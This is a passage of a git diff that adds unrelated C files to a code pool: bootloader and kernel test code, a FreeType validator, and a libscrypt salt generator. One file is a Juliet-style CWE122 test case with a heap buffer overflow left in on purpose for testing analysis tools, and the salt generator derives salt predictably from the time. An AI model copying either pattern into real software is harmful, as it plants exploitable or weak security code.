+	for (i = 0; i < ARRAY_SIZE(bopts_ctrl[ctrl_num]); i++) {
+		if ((bopts[i].datarate_mhz_low <= datarate) &&
+		    (bopts[i].datarate_mhz_high >= datarate)) {
+			debug("controller %d:\n", ctrl_num);
+			debug(" clk_adjust = %d\n", bopts[i].clk_adjust);
+			debug(" cpo = %d\n", bopts[i].cpo_override);
+			debug(" write_data_delay = %d\n",
+				bopts[i].write_data_delay);
+			popts->clk_adjust = bopts[i].clk_adjust;
+			popts->cpo_override = bopts[i].cpo_override;
+			popts->write_data_delay = bopts[i].write_data_delay;
+		}
+	}
+
+	/*
+	 * Factors to consider for half-strength driver enable:
+	 *	- number of DIMMs installed
+	 */
+	popts->half_strength_driver_enable = 0;
+}
diff --git a/pool/shard001/C/0023060_msleep.c b/pool/shard001/C/0023060_msleep.c
new file mode 100644
index 0000000000000000000000000000000000000000..4aee3c3948fe1caf538fb131524b3b47d9a2a658
--- /dev/null
+++ b/pool/shard001/C/0023060_msleep.c
@@ -0,0 +1,42 @@
+/*
+ * msleep.c - delay execution for n milliseconds
+ *
+ * Copyright (c) 2012 Steffen Trumtrar <s.trumtrar@pengutronix.de>, Pengutronix
+ *
+ * derived from commands/sleep.c
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+
+#include <common.h>
+#include <command.h>
+#include <clock.h>
+
+static int do_msleep(int argc, char *argv[])
+{
+	ulong delay;
+
+	if (argc != 2)
+		return COMMAND_ERROR_USAGE;
+
+	delay = simple_strtoul(argv[1], NULL, 10);
+
+	mdelay(delay);
+
+	return 0;
+}
+
+BAREBOX_CMD_START(msleep)
+	.cmd		= do_msleep,
+	BAREBOX_CMD_DESC("delay execution for n milli-seconds")
+	BAREBOX_CMD_OPTS("MILLISECONDS")
+	BAREBOX_CMD_GROUP(CMD_GRP_SCRIPT)
+BAREBOX_CMD_END
diff --git a/pool/shard001/C/0023061_crypto-scrypt-saltgen.c b/pool/shard001/C/0023061_crypto-scrypt-saltgen.c
new file mode 100644
index 0000000000000000000000000000000000000000..8b9caf4e20218973c23608456b25cd43de7fdfb5
--- /dev/null
+++ b/pool/shard001/C/0023061_crypto-scrypt-saltgen.c
@@ -0,0 +1,25 @@
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+#include "sha256.h"
+
+
+void libscrypt_salt_gen(uint8_t *rand, size_t len)
+{
+
+	unsigned char buf[32];
+	time_t current_time;
+	char *c_time_string;
+
+	SHA256_CTX ctx;
+
+	SHA256_Init(&ctx );
+	current_time = time(NULL);
+	c_time_string = ctime(&current_time);
+	SHA256_Update(&ctx, c_time_string, strlen(c_time_string));
+	SHA256_Final(buf, &ctx);
+
+	memcpy(rand, buf, len);
+
+}
diff --git a/pool/shard001/C/0023079_check_ncd.c b/pool/shard001/C/0023079_check_ncd.c
new file mode 100644
index 0000000000000000000000000000000000000000..aa8392136022fa2a268a76f715aab756ed3360eb
--- /dev/null
+++ b/pool/shard001/C/0023079_check_ncd.c
@@ -0,0 +1,63 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <check.h>
+#include "../src/complearn/complearn.h"
+#include "../src/complearn/complearn-external-file-compressor.h"
+
+START_TEST (test_complearn_ncd_external_file_compressor)
+{
+  CompLearnExternalFileCompressor *ef =COMPLEARN_EXTERNAL_FILE_COMPRESSOR(complearn_external_file_compressor_new());
+  GString *result;
+  result = complearn_external_file_compressor_transform_with_external_command(ef,
+    "tar cvfj out.tar.bz2 inf", complearn_read_whole_file("/bin/ls"), "inf", "out.tar.bz2");
+  fail_unless (result != NULL, "Cannot have NULL result");
+}
+END_TEST
+
+START_TEST (test_complearn_ncd)
+{
+  CompLearnNcd *ncd = complearn_ncd_top();
+  fail_unless (ncd != NULL,
+    "Cannot have NULL CompLearnNcd");
+}
+END_TEST
+
+START_TEST (test_complearn_ncd_literal)
+  complearn_ncd_set_literal_mode ();
+  complearn_ncd_set_zero_diagonal(complearn_ncd_top(), FALSE);
+  complearn_ncd_add_argument ("hello");
+  complearn_ncd_add_argument ("hello");
+  LabeledMatrix *lm;
+  lm = complearn_ncd_ncd_matrix(
+complearn_ncd_get_argument(0),
+complearn_ncd_get_argument(1));
+  fail_if (lm == NULL);
+  fail_if (lm->mat == NULL);
+  fail_if (lm->mat->size1 != 1 || lm->mat->size2 != 1,
+    "Error, got matrix of %dx%d expected 1x1\n", lm->mat->size1,lm->mat->size2);
+  fail_if (gsl_matrix_get(lm->mat, 0, 0) == 0.0);
+  complearn_ncd_set_zero_diagonal(complearn_ncd_top(), TRUE);
+  lm = complearn_ncd_ncd_matrix(
+complearn_ncd_get_argument(0),
+complearn_ncd_get_argument(1));
+  fail_if (lm == NULL);
+  fail_if (lm->mat == NULL);
+  fail_if (lm->mat->size1 != 1 || lm->mat->size2 != 1,
+    "Error, got matrix of %dx%d expected 1x1\n", lm->mat->size1,lm->mat->size2);
+  fail_if (gsl_matrix_get(lm->mat, 0, 0) != 0.0);
+END_TEST
+
+Suite *
+ncd_suite (void)
+{
+  Suite *s = suite_create ("ncd");
+
+  TCase *tc_core = tcase_create ("Core");
+  tcase_add_test (tc_core, test_complearn_ncd);
+  tcase_add_test (tc_core, test_complearn_ncd_literal);
+  tcase_add_test (tc_core, test_complearn_ncd_external_file_compressor);
+  suite_add_tcase(s, tc_core);
+
+  return s;
+}
+
diff --git a/pool/shard001/C/0023080_CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64a.c b/pool/shard001/C/0023080_CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64a.c
new file mode 100644
index 0000000000000000000000000000000000000000..bcb3b9039623daa680d370563f0eac44d11463e7
--- /dev/null
+++ b/pool/shard001/C/0023080_CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64a.c
@@ -0,0 +1,87 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64a.c
+Label Definition File: CWE122_Heap_Based_Buffer_Overflow__c_CWE806.label.xml
+Template File: sources-sink-64a.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 122 Heap Based Buffer Overflow
+ * BadSource:  Initialize data as a large string
+ * GoodSource: Initialize data as a small string
+ * Sinks: memmove
+ *    BadSink : Copy data to string using memmove
+ * Flow Variant: 64 Data flow: void pointer to data passed from one function to another in different source files
+ *
+ * */
+
+#include "std_testcase.h"
+
+#include <wchar.h>
+
+#ifndef OMITBAD
+
+/* bad function declaration */
+void CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64b_badSink(void * dataVoidPtr);
+
+void CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64_bad()
+{
+    wchar_t * data;
+    data = (wchar_t *)malloc(100*sizeof(wchar_t));
+    if (data == NULL) {exit(-1);}
+    /* FLAW: Initialize data as a large buffer that is larger than the small buffer used in the sink */
+    wmemset(data, L'A', 100-1); /* fill with L'A's */
+    data[100-1] = L'\0'; /* null terminate */
+    CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64b_badSink(&data);
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* goodG2B uses the GoodSource with the BadSink */
+void CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64b_goodG2BSink(void * dataVoidPtr);
+
+static void goodG2B()
+{
+    wchar_t * data;
+    data = (wchar_t *)malloc(100*sizeof(wchar_t));
+    if (data == NULL) {exit(-1);}
+    /* FIX: Initialize data as a small buffer that as small or smaller than the small buffer used in the sink */
+    wmemset(data, L'A', 50-1); /* fill with L'A's */
+    data[50-1] = L'\0'; /* null terminate */
+    CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64b_goodG2BSink(&data);
+}
+
+void CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64_good()
+{
+    goodG2B();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+ * its own for testing or for building a binary to use in testing binary
+ * analysis tools. It is not used when compiling all the testcases as one
+ * application, which is how source code analysis tools are tested.
+ */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_memmove_64_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0023086_gxvprop.c b/pool/shard001/C/0023086_gxvprop.c
new file mode 100644
index 0000000000000000000000000000000000000000..7d398b7e6651f8c4e7c2a646e94ddd392009d86b
--- /dev/null
+++ b/pool/shard001/C/0023086_gxvprop.c
@@ -0,0 +1,330 @@
+/***************************************************************************/
+/*                                                                         */
+/*  gxvprop.c                                                              */
+/*                                                                         */
+/*    TrueTypeGX/AAT prop table validation (body).                         */
+/*                                                                         */
+/*  Copyright 2004-2017 by                                                 */
+/*  suzuki toshiya, Masatake YAMATO, Red Hat K.K.,                         */
+/*  David Turner, Robert Wilhelm, and Werner Lemberg.                      */
+/*                                                                         */
+/*  This file is part of the FreeType project, and may only be used,       */
+/*  modified, and distributed under the terms of the FreeType project      */
+/*  license, LICENSE.TXT.  By continuing to use, modify, or distribute     */
+/*  this file you indicate that you have read the license and              */
+/*  understand and accept it fully.                                        */
+/*                                                                         */
+/***************************************************************************/
+
+/***************************************************************************/
+/*                                                                         */
+/* gxvalid is derived from both gxlayout module and otvalid module.        */
+/* Development of gxlayout is supported by the Information-technology      */
+/* Promotion Agency(IPA), Japan.                                           */
+/*                                                                         */
+/***************************************************************************/
+
+
+#include "gxvalid.h"
+#include "gxvcommn.h"
+
+
+  /*************************************************************************/
+  /*                                                                       */
+  /* The macro FT_COMPONENT is used in trace mode.  It is an implicit      */
+  /* parameter of the FT_TRACE() and FT_ERROR() macros, used to print/log  */
+  /* messages during execution.                                            */
+  /*                                                                       */
+#undef  FT_COMPONENT
+#define FT_COMPONENT  trace_gxvprop
+
+
+  /*************************************************************************/
+  /*************************************************************************/
+  /*****                                                               *****/
+  /*****                      Data and Types                           *****/
+  /*****                                                               *****/
+  /*************************************************************************/
+  /*************************************************************************/
+
+#define GXV_PROP_HEADER_SIZE  ( 4 + 2 + 2 )
+#define GXV_PROP_SIZE_MIN     GXV_PROP_HEADER_SIZE
+
+  typedef struct  GXV_prop_DataRec_
+  {
+    FT_Fixed  version;
+
+  } GXV_prop_DataRec, *GXV_prop_Data;
+
+#define GXV_PROP_DATA( field )  GXV_TABLE_DATA( prop, field )
+
+#define GXV_PROP_FLOATER                      0x8000U
+#define GXV_PROP_USE_COMPLEMENTARY_BRACKET    0x1000U
+#define GXV_PROP_COMPLEMENTARY_BRACKET_OFFSET 0x0F00U
+#define GXV_PROP_ATTACHING_TO_RIGHT           0x0080U
+#define GXV_PROP_RESERVED                     0x0060U
+#define GXV_PROP_DIRECTIONALITY_CLASS         0x001FU
+
+
+  /*************************************************************************/
+  /*************************************************************************/
+  /*****                                                               *****/
+  /*****                      UTILITY FUNCTIONS                        *****/
+  /*****                                                               *****/
+  /*************************************************************************/
+  /*************************************************************************/
+
+  static void
+  gxv_prop_zero_advance_validate( FT_UShort      gid,
+                                  GXV_Validator  gxvalid )
+  {
+    FT_Face       face;
+    FT_Error      error;
+    FT_GlyphSlot  glyph;
+
+
+    GXV_NAME_ENTER( "zero advance" );
+
+    face = gxvalid->face;
+
+    error = FT_Load_Glyph( face,
+                           gid,
+                           FT_LOAD_IGNORE_TRANSFORM );
+    if ( error )
+      FT_INVALID_GLYPH_ID;
+
+    glyph = face->glyph;
+
+    if ( glyph->advance.x != (FT_Pos)0 ||
+         glyph->advance.y != (FT_Pos)0 )
+    {
+      GXV_TRACE(( "  found non-zero advance in zero-advance glyph\n" ));
+      FT_INVALID_DATA;
+    }
+
+    GXV_EXIT;
+  }
+
+
+  /* Pass 0 as GLYPH to check the default property */
+  static void
+  gxv_prop_property_validate( FT_UShort      property,
+                              FT_UShort      glyph,
+                              GXV_Validator  gxvalid )
+  {
+    if ( glyph != 0 && ( property & GXV_PROP_FLOATER ) )
+      gxv_prop_zero_advance_validate( glyph, gxvalid );
+
+    if ( property & GXV_PROP_USE_COMPLEMENTARY_BRACKET )
+    {
+      FT_UShort  offset;
+      char       complement;
+
+
+      offset = (FT_UShort)( property & GXV_PROP_COMPLEMENTARY_BRACKET_OFFSET );
+      if ( offset == 0 )
+      {
+        GXV_TRACE(( "  found zero offset to property\n" ));
+        FT_INVALID_OFFSET;
+      }
+
+      complement = (char)( offset >> 8 );
+      if ( complement & 0x08 )
+      {
+        /* Top bit is set: negative */
+
+        /* Calculate the absolute offset */
+        complement = (char)( ( complement & 0x07 ) + 1 );
+
+        /* The gid for complement must be greater than 0 */
+        if ( glyph <= complement )
+        {
+          GXV_TRACE(( "  found non-positive glyph complement\n" ));
+          FT_INVALID_DATA;
+        }
+      }
+      else
+      {
+        /* The gid for complement must be the face. */
+        gxv_glyphid_validate( (FT_UShort)( glyph + complement ), gxvalid );
+      }
+    }
+    else
+    {
+      if ( property & GXV_PROP_COMPLEMENTARY_BRACKET_OFFSET )
+        GXV_TRACE(( "glyph %d cannot have complementary bracketing\n",
+                    glyph ));
+    }
+
+    /* this is introduced in version 2.0 */
+    if ( property & GXV_PROP_ATTACHING_TO_RIGHT )
+    {
+      if ( GXV_PROP_DATA( version ) == 0x00010000UL )
+      {
+        GXV_TRACE(( "  found older version (1.0) in new version table\n" ));
+        FT_INVALID_DATA;
+      }
+    }
+
+    if ( property & GXV_PROP_RESERVED )
+    {
+      GXV_TRACE(( "  found non-zero bits in reserved bits\n" ));
+      FT_INVALID_DATA;
+    }
+
+    if ( ( property & GXV_PROP_DIRECTIONALITY_CLASS ) > 11 )
+    {
+      /* TODO: Too restricted. Use the validation level. */
+      if ( GXV_PROP_DATA( version ) == 0x00010000UL ||
+           GXV_PROP_DATA( version ) == 0x00020000UL )
+      {
+        GXV_TRACE(( "  found too old version in directionality class\n" ));
+        FT_INVALID_DATA;
+      }
+    }
+  }
+
+
+  static void
+  gxv_prop_LookupValue_validate( FT_UShort            glyph,
+                                 GXV_LookupValueCPtr  value_p,
+                                 GXV_Validator        gxvalid )
+  {
+    gxv_prop_property_validate( value_p->u, glyph, gxvalid );
+  }
+
+
+  /*
+    +===============+ --------+
+    | lookup header |         |
+    +===============+         |
+    | BinSrchHeader |         |
+    +===============+         |
+    | lastGlyph[0]  |         |
+    +---------------+         |
+    | firstGlyph[0] |         |    head of lookup table
+    +---------------+         |             +
+    | offset[0]     |    ->   |          offset            [byte]
+    +===============+         |             +
+    | lastGlyph[1]  |         | (glyphID - firstGlyph) * 2 [byte]
+    +---------------+         |
+    | firstGlyph[1] |         |
+    +---------------+         |
+    | offset[1]     |         |
+    +===============+         |
+                              |
+     ...                      |
+                              |
+    16bit value array         |
+    +===============+         |
+    |     value     | <-------+
+    ...
+  */
+
+  static GXV_LookupValueDesc
+  gxv_prop_LookupFmt4_transit( FT_UShort            relative_gindex,
+                               GXV_LookupValueCPtr  base_value_p,
+                               FT_Bytes             lookuptbl_limit,
+                               GXV_Validator        gxvalid )
+  {
+    FT_Bytes             p;
+    FT_Bytes             limit;
+    FT_UShort            offset;
+    GXV_LookupValueDesc  value;
+
+    /* XXX: check range? */
+    offset = (FT_UShort)( base_value_p->u +
+                          relative_gindex * sizeof ( FT_UShort ) );
+    p      = gxvalid->lookuptbl_head + offset;
+    limit  = lookuptbl_limit;
+
+    GXV_LIMIT_CHECK ( 2 );
+    value.u = FT_NEXT_USHORT( p );
+
+    return value;
+  }
+
+
+  /*************************************************************************/
+  /*************************************************************************/
+  /*****                                                               *****/
+  /*****                         prop TABLE                            *****/
+  /*****                                                               *****/
+  /*************************************************************************/
+  /*************************************************************************/
+
+  FT_LOCAL_DEF( void )
+  gxv_prop_validate( FT_Bytes      table,
+                     FT_Face       face,
+                     FT_Validator  ftvalid )
+  {
+    FT_Bytes          p     = table;
+    FT_Bytes          limit = 0;
+    GXV_ValidatorRec  gxvalidrec;
+    GXV_Validator     gxvalid = &gxvalidrec;
+
+    GXV_prop_DataRec  proprec;
+    GXV_prop_Data     prop = &proprec;
+
+    FT_Fixed          version;
+    FT_UShort         format;
+    FT_UShort         defaultProp;
+
+
+    gxvalid->root       = ftvalid;
+    gxvalid->table_data = prop;
+    gxvalid->face       = face;
+
+    FT_TRACE3(( "validating `prop' table\n" ));
+    GXV_INIT;
+
+    GXV_LIMIT_CHECK( 4 + 2 + 2 );
+    version     = FT_NEXT_LONG( p );
+    format      = FT_NEXT_USHORT( p );
+    defaultProp = FT_NEXT_USHORT( p );
+
+    GXV_TRACE(( "  version 0x%08x\n", version ));
+    GXV_TRACE(( "  format  0x%04x\n", format ));
+    GXV_TRACE(( "  defaultProp  0x%04x\n", defaultProp ));
+
+    /* only versions 1.0, 2.0, 3.0 are defined (1996) */
+    if ( version != 0x00010000UL &&
+         version != 0x00020000UL &&
+         version != 0x00030000UL )
+    {
+      GXV_TRACE(( "  found unknown version\n" ));
+      FT_INVALID_FORMAT;
+    }
+
+
+    /* only formats 0x0000, 0x0001 are defined (1996) */
+    if ( format > 1 )
+    {
+      GXV_TRACE(( "  found unknown format\n" ));
+      FT_INVALID_FORMAT;
+    }
+
+    gxv_prop_property_validate( defaultProp, 0, gxvalid );
+
+    if ( format == 0 )
+    {
+      FT_TRACE3(( "(format 0, no per-glyph properties, "
+                  "remaining %d bytes are skipped)", limit - p ));
+      goto Exit;
+    }
+
+    /* format == 1 */
+    GXV_PROP_DATA( version ) = version;
+
+    gxvalid->lookupval_sign   = GXV_LOOKUPVALUE_UNSIGNED;
+    gxvalid->lookupval_func   = gxv_prop_LookupValue_validate;
+    gxvalid->lookupfmt4_trans = gxv_prop_LookupFmt4_transit;
+
+    gxv_LookupTable_validate( p, limit, gxvalid );
+
+  Exit:
+    FT_TRACE4(( "\n" ));
+  }
+
+
+/* END */
diff --git a/pool/shard001/C/0023106_splat-cred.c b/pool/shard001/C/0023106_splat-cred.c
new file mode 100644
index 0000000000000000000000000000000000000000..f6b70ce34ebe754eed3a57e14c4159d004f4f07b
--- /dev/null
+++ b/pool/shard001/C/0023106_splat-cred.c
@@ -0,0 +1,299 @@
+/*****************************************************************************\
+ *  Copyright (C) 2007-2010 Lawrence Livermore National Security, LLC.
+ *  Copyright (C) 2007 The Regents of the University of California.
+ *  Produced at Lawrence Livermore National Laboratory (cf, DISCLAIMER).
+ *  Written by Brian Behlendorf <behlendorf1@llnl.gov>.
+ *  UCRL-CODE-235197
+ *
+ *  This file is part of the SPL, Solaris Porting Layer.
+ *  For details, see <http://zfsonlinux.org/>.
+ *
+ *  The SPL is free software; you can redistribute it and/or modify it
+ *  under the terms of the GNU General Public License as published by the
+ *  Free Software Foundation; either version 2 of the License, or (at your
+ *  option) any later version.
+ *
+ *  The SPL is distributed in the hope that it will be useful, but WITHOUT
+ *  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ *  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ *  for more details.
+ *
+ *  You should have received a copy of the GNU General Public License along
+ *  with the SPL.  If not, see <http://www.gnu.org/licenses/>.
+ *****************************************************************************
+ *  Solaris Porting LAyer Tests (SPLAT) Credential Tests.
+\*****************************************************************************/
+
+#include <sys/cred.h>
+#include <sys/random.h>
+#include "splat-internal.h"
+
+#define SPLAT_CRED_NAME			"cred"
+#define SPLAT_CRED_DESC			"Kernel Cred Tests"
+
+#define SPLAT_CRED_TEST1_ID		0x0e01
+#define SPLAT_CRED_TEST1_NAME		"cred"
+#define SPLAT_CRED_TEST1_DESC		"Task Credential Test"
+
+#define SPLAT_CRED_TEST2_ID		0x0e02
+#define SPLAT_CRED_TEST2_NAME		"kcred"
+#define SPLAT_CRED_TEST2_DESC		"Kernel Credential Test"
+
+#define SPLAT_CRED_TEST3_ID		0x0e03
+#define SPLAT_CRED_TEST3_NAME		"groupmember"
+#define SPLAT_CRED_TEST3_DESC		"Group Member Test"
+
+#define GROUP_STR_SIZE			128
+#define GROUP_STR_REDZONE		16
+
+static int
+splat_cred_test1(struct file *file, void *arg)
+{
+	char str[GROUP_STR_SIZE];
+	uid_t uid, ruid, suid;
+	gid_t gid, rgid, sgid, *groups;
+	int ngroups, i, count = 0;
+	cred_t *cr = CRED();
+
+	uid  = crgetuid(cr);
+	ruid = crgetruid(cr);
+	suid = crgetsuid(cr);
+
+	gid  = crgetgid(cr);
+	rgid = crgetrgid(cr);
+	sgid = crgetsgid(cr);
+
+	ngroups = crgetngroups(cr);
+	groups = crgetgroups(cr);
+
+	memset(str, 0, GROUP_STR_SIZE);
+	for (i = 0; i < ngroups; i++) {
+		count += sprintf(str + count, "%d ", groups[i]);
+
+		if (count > (GROUP_STR_SIZE - GROUP_STR_REDZONE)) {
+			splat_vprint(file, SPLAT_CRED_TEST1_NAME,
+				     "Failed too many group entries for temp "
+				     "buffer: %d, %s\n", ngroups, str);
+			return -ENOSPC;
+		}
+	}
+
+	splat_vprint(file, SPLAT_CRED_TEST1_NAME,
+		     "uid: %d ruid: %d suid: %d "
+		     "gid: %d rgid: %d sgid: %d\n",
+		     uid, ruid, suid, gid, rgid, sgid);
+	splat_vprint(file, SPLAT_CRED_TEST1_NAME,
+		     "ngroups: %d groups: %s\n", ngroups, str);
+
+	if (uid || ruid || suid || gid || rgid || sgid) {
+		splat_vprint(file, SPLAT_CRED_TEST1_NAME,
+			     "Failed expected all uids+gids to be %d\n", 0);
+		return -EIDRM;
+	}
+
+	if (ngroups > NGROUPS_MAX) {
+		splat_vprint(file, SPLAT_CRED_TEST1_NAME,
+			     "Failed ngroups must not exceed NGROUPS_MAX: "
+			     "%d > %d\n", ngroups, NGROUPS_MAX);
+		return -EIDRM;
+	}
+
+	splat_vprint(file, SPLAT_CRED_TEST1_NAME,
+		     "Success sane CRED(): %d\n", 0);
+
+        return 0;
+} /* splat_cred_test1() */
+
+static int
+splat_cred_test2(struct file *file, void *arg)
+{
+	char str[GROUP_STR_SIZE];
+	uid_t uid, ruid, suid;
+	gid_t gid, rgid, sgid, *groups;
+	int ngroups, i, count = 0;
+
+	crhold(kcred);
+
+	uid  = crgetuid(kcred);
+	ruid = crgetruid(kcred);
+	suid = crgetsuid(kcred);
+
+	gid  = crgetgid(kcred);
+	rgid = crgetrgid(kcred);
+	sgid = crgetsgid(kcred);
+
+	ngroups = crgetngroups(kcred);
+	groups  = crgetgroups(kcred);
+
+	memset(str, 0, GROUP_STR_SIZE);
+	for (i = 0; i < ngroups; i++) {
+		count += sprintf(str + count, "%d ", groups[i]);
+
+		if (count > (GROUP_STR_SIZE - GROUP_STR_REDZONE)) {
+			splat_vprint(file, SPLAT_CRED_TEST2_NAME,
+				     "Failed too many group entries for temp "
+				     "buffer: %d, %s\n", ngroups, str);
+			crfree(kcred);
+			return -ENOSPC;
+		}
+	}
+
+	crfree(kcred);
+
+	splat_vprint(file, SPLAT_CRED_TEST2_NAME,
+		     "uid: %d ruid: %d suid: %d "
+		     "gid: %d rgid: %d sgid: %d\n",
+		     uid, ruid, suid, gid, rgid, sgid);
+	splat_vprint(file, SPLAT_CRED_TEST2_NAME,
+		     "ngroups: %d groups: %s\n", ngroups, str);
+
+	if (uid || ruid || suid || gid || rgid || sgid) {
+		splat_vprint(file, SPLAT_CRED_TEST2_NAME,
+			     "Failed expected all uids+gids to be %d\n", 0);
+		return -EIDRM;
+	}
+
+	if (ngroups > NGROUPS_MAX) {
+		splat_vprint(file, SPLAT_CRED_TEST2_NAME,
+			     "Failed ngroups must not exceed NGROUPS_MAX: "
+			     "%d > %d\n", ngroups, NGROUPS_MAX);
+		return -EIDRM;
+	}
+
+	splat_vprint(file, SPLAT_CRED_TEST2_NAME,
+		     "Success sane kcred: %d\n", 0);
+
+        return 0;
+} /* splat_cred_test2() */
+
+#define	SPLAT_NGROUPS	32
+/*
+ * Verify the groupmember() works correctly by constructing an interesting
+ * CRED() and checking that the expected gids are part of it.
+ */
+static int
+splat_cred_test3(struct file *file, void *arg)
+{
+	gid_t known_gid, missing_gid, tmp_gid;
+	unsigned char rnd;
+	struct group_info *gi;
+	int i, rc;
+
+	get_random_bytes((void *)&rnd, 1);
+	known_gid = (rnd > 0) ? rnd : 1;
+	missing_gid = 0;
+
+	/*
+	 * Create an interesting known set of gids for test purposes. The
+	 * gids are pseudo randomly selected are will be in the range of
+	 * 1:(NGROUPS_MAX-1).  Gid 0 is explicitly avoided so we can reliably
+	 * test for its absence in the test cases.
+	 */
+	gi = groups_alloc(SPLAT_NGROUPS);
+	if (gi == NULL) {
+		splat_vprint(file, SPLAT_CRED_TEST3_NAME, "Failed create "
+		    "group_info for known gids: %d\n", -ENOMEM);
+		rc = -ENOMEM;
+		goto show_groups;
+	}
+
+	for (i = 0, tmp_gid = known_gid; i < SPLAT_NGROUPS; i++) {
+		splat_vprint(file, SPLAT_CRED_TEST3_NAME, "Adding gid %d "
+		    "to current CRED() (%d/%d)\n", tmp_gid, i, gi->ngroups);
+#ifdef HAVE_KUIDGID_T
+		GROUP_AT(gi, i) = make_kgid(current_user_ns(), tmp_gid);
+#else
+		GROUP_AT(gi, i) = tmp_gid;
+#endif /* HAVE_KUIDGID_T */
+		tmp_gid = ((tmp_gid * 17) % (NGROUPS_MAX - 1)) + 1;
+	}
+
+	/* Set the new groups in the CRED() and release our reference. */
+	rc = set_current_groups(gi);
+	put_group_info(gi);
+
+	if (rc) {
+		splat_vprint(file, SPLAT_CRED_TEST3_NAME, "Failed to add "
+		    "gid %d to current group: %d\n", known_gid, rc);
+		goto show_groups;
+	}
+
+	/* Verify groupmember() finds the known_gid in the CRED() */
+	rc = groupmember(known_gid, CRED());
+	if (!rc) {
+		splat_vprint(file, SPLAT_CRED_TEST3_NAME, "Failed to find "
+		    "known gid %d in CRED()'s groups.\n", known_gid);
+		rc = -EIDRM;
+		goto show_groups;
+	}
+
+	/* Verify groupmember() does NOT finds the missing gid in the CRED() */
+	rc = groupmember(missing_gid, CRED());
+	if (rc) {
+		splat_vprint(file, SPLAT_CRED_TEST3_NAME, "Failed missing "
+		    "gid %d was found in CRED()'s groups.\n", missing_gid);
+		rc = -EIDRM;
+		goto show_groups;
+	}
+
+	splat_vprint(file, SPLAT_CRED_TEST3_NAME, "Success groupmember() "
+	    "correctly detects expected gids in CRED(): %d\n", rc);
+
+show_groups:
+	if (rc) {
+		int i, grps = crgetngroups(CRED());
+
+		splat_vprint(file, SPLAT_CRED_TEST3_NAME, "%d groups: ", grps);
+		for (i = 0; i < grps; i++)
+			splat_print(file, "%d ", crgetgroups(CRED())[i]);
+		splat_print(file, "%s", "\n");
+	}
+
+
+	return (rc);
+} /* splat_cred_test3() */
+
+splat_subsystem_t *
+splat_cred_init(void)
+{
+        splat_subsystem_t *sub;
+
+        sub = kmalloc(sizeof(*sub), GFP_KERNEL);
+        if (sub == NULL)
+                return NULL;
+
+        memset(sub, 0, sizeof(*sub));
+        strncpy(sub->desc.name, SPLAT_CRED_NAME, SPLAT_NAME_SIZE);
+	strncpy(sub->desc.desc, SPLAT_CRED_DESC, SPLAT_DESC_SIZE);
+        INIT_LIST_HEAD(&sub->subsystem_list);
+	INIT_LIST_HEAD(&sub->test_list);
+        spin_lock_init(&sub->test_lock);
+        sub->desc.id = SPLAT_SUBSYSTEM_CRED;
+
+        SPLAT_TEST_INIT(sub, SPLAT_CRED_TEST1_NAME, SPLAT_CRED_TEST1_DESC,
+	              SPLAT_CRED_TEST1_ID, splat_cred_test1);
+        SPLAT_TEST_INIT(sub, SPLAT_CRED_TEST2_NAME, SPLAT_CRED_TEST2_DESC,
+	              SPLAT_CRED_TEST2_ID, splat_cred_test2);
+        SPLAT_TEST_INIT(sub, SPLAT_CRED_TEST3_NAME, SPLAT_CRED_TEST3_DESC,
+	              SPLAT_CRED_TEST3_ID, splat_cred_test3);
+
+        return sub;
+} /* splat_cred_init() */
+
+void
+splat_cred_fini(splat_subsystem_t *sub)
+{
+        ASSERT(sub);
+
+        SPLAT_TEST_FINI(sub, SPLAT_CRED_TEST3_ID);
+        SPLAT_TEST_FINI(sub, SPLAT_CRED_TEST2_ID);
+        SPLAT_TEST_FINI(sub, SPLAT_CRED_TEST1_ID);
+
+        kfree(sub);
+} /* splat_cred_fini() */
+
+int
+splat_cred_id(void)
+{
+        return SPLAT_SUBSYSTEM_CRED;
+} /* splat_cred_id() */
diff --git a/pool/shard001/C/0023116_analogout_api.c b/pool/shard001/C/0023116_analogout_api.c
new file mode 100644
index 0000000000000000000000000000000000000000..ba6510fa9e0c19a8b536b252c77f369708ec199e
--- /dev/null
+++ b/pool/shard001/C/0023116_analogout_api.c
@@ -0,0 +1,161 @@
+/* mbed Microcontroller Library
+ * Copyright (c) 2014, STMicroelectronics
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice,
+ *    this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
